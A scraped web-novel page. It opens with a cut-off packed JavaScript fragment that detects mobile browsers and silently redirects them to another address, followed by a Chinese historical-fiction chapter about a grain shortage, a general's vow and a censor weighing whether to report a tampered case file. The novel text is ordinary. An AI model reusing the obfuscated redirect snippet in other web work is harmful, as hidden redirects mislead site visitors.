RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537386|170941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行帝有意削弱武将权势，朝中武将已然凋敝，面对蛮横的倭寇，加上江南水灾的影响，景行帝只能吞咽下这口气，重新派户部筹粮。 只是较上次相比，粮只能勉强筹得几十担。加上，京都离江南有些距离，加上筹粮时间，粮食到达江南，已是堪堪过去半月。 柳如意目光灼灼道，“那时，我便觉得书就算读再多，也没有拳头厉害。国之大炳，莫重于兵。于是，我便默默立誓要作为好将军，守卫疆土，救济苍生。” 许昭不解道，“那你为何后来没接着征战沙场了？” 柳如意望着盆中跳动的炭火星子，站起身，用火镰轻轻拨动灰烬，将烧得通红的木炭掩于其中，“暮色已晚，许大人还是早些回去休息吧！明早还要讨论作战之法。” “好。” 待许昭走后，青衣又将火镰将灰烬拨开，“这儿本就比京中寒，大人下午刚淋了雪，还是不要灭了炭，还是暖暖身体吧。” 柳如意点了点头。 而没了灰烬掩着的炭火，在甫一接触到空气后，似比之前烧得更旺了，噼啪之声更加响亮。 花开两朵，各发一枝。 这夜，京都飘起了小雨。长风拂来，将细雨吹得稀稀疏疏，朦胧了整个宫楼。 都察院内。 烛光洒在案头，将浮在空中的尘埃衬得清晰可见。 沈暨白伏在案前，整理安平县官银失踪案的卷宗等结案文书、卷宗等。 突然，动作一顿，眸光定在了一发黄的麻纸，仔细一看，竟是偷换掉的陈牵生籍信息的卷宗。 沈暨白眸中闪过一丝波澜，有人忍不住要动手了？伸手招来一小史，问道，“这些是谁送来的？中间可还有其他人动过？” 那小史想了想，摇头道，“是大理寺寺卿临大人亲自送过来的。临大人送来后，下官便亟亟送到大人这。” 沈暨白冷声问道，“可有记漏，真的没有其他人碰过这卷宗？”大理寺寺卿临渊，虽其也未深交，但就冲当初临渊户部任职，不畏皇威，直直指出官银亏空原是因工部大兴土木、修缮宫殿所至，便知道其是个智圆行方之人，是位直臣。 如此一股清流，又怎屑于参与皇权之争呢？他为官，不为名，亦不为利，只为问心无愧。 小史被沈暨白的眼神吓了一跳，双膝一软跪在地上，哆嗦道，“大人，我错了。那日，小人将临大人送出公廨时，打懒将案卷放在了临近门处的桌案上。但送完之后，小人立马便取回，送至大人这了。” 沈暨白眸光一闪，短短时间，便将陈牵的卷宗放了进来，想必那人早有准备，料到大理寺会将卷宗送至都察院校核，特意在这“守株待兔”。 沈暨白摆了摆手，淡淡道，“下去领罚吧。” 骤雨已止，角楼传来一声鼓声。 三更天了。沈暨白透过窗牖朝外望去。只见，暮色之下，是沉沉深宫。 他伸手按了按眉心，又看向桌上的卷宗。明显，这便是对方做的棋局，一个拙劣却又“用心良苦”的局。只是，这盘棋的，那人将主动权交给了他。 呈上去？还是扣下来呢？ 古语，御史大夫者，国之众臣，掌监察之责。 发生这事，定是有人以权谋私，中饱私藏，改了陈牵信息。他本不应偏私，理应奏明陛下。 只是，若是呈报圣上，则务必牵扯吏部、户部、礼部等，若是这般，则可能影响权利掣肘，如今太子已出征玉门关，本就混沌的朝局这时已经不住变数了。 其又想起后半句，故御史大父，言辞必谨，举止必慎。忽而，眉心渐渐舒展起来，只见其将卷宗放进了衣袖当中，吹灭了等，往府邸走去。 而，翌日夜晚，一间暗室中，灯光晦暗。 “主子，那份陈牵卷宗，沈大人未报上去。” 那人带着黑色斗笠，点了点头，“知道了。是他的风格，心思澄明，什么都懂，但又太瞻前顾后了。即想为了苍生，却又奢想保住众生。只是，改革这条路，注定是要流血的。” 说完，又摆了摆手，“假如有人覆他心中所想，颠他棋中黑白，他该做如何？暨白是个聪明人……”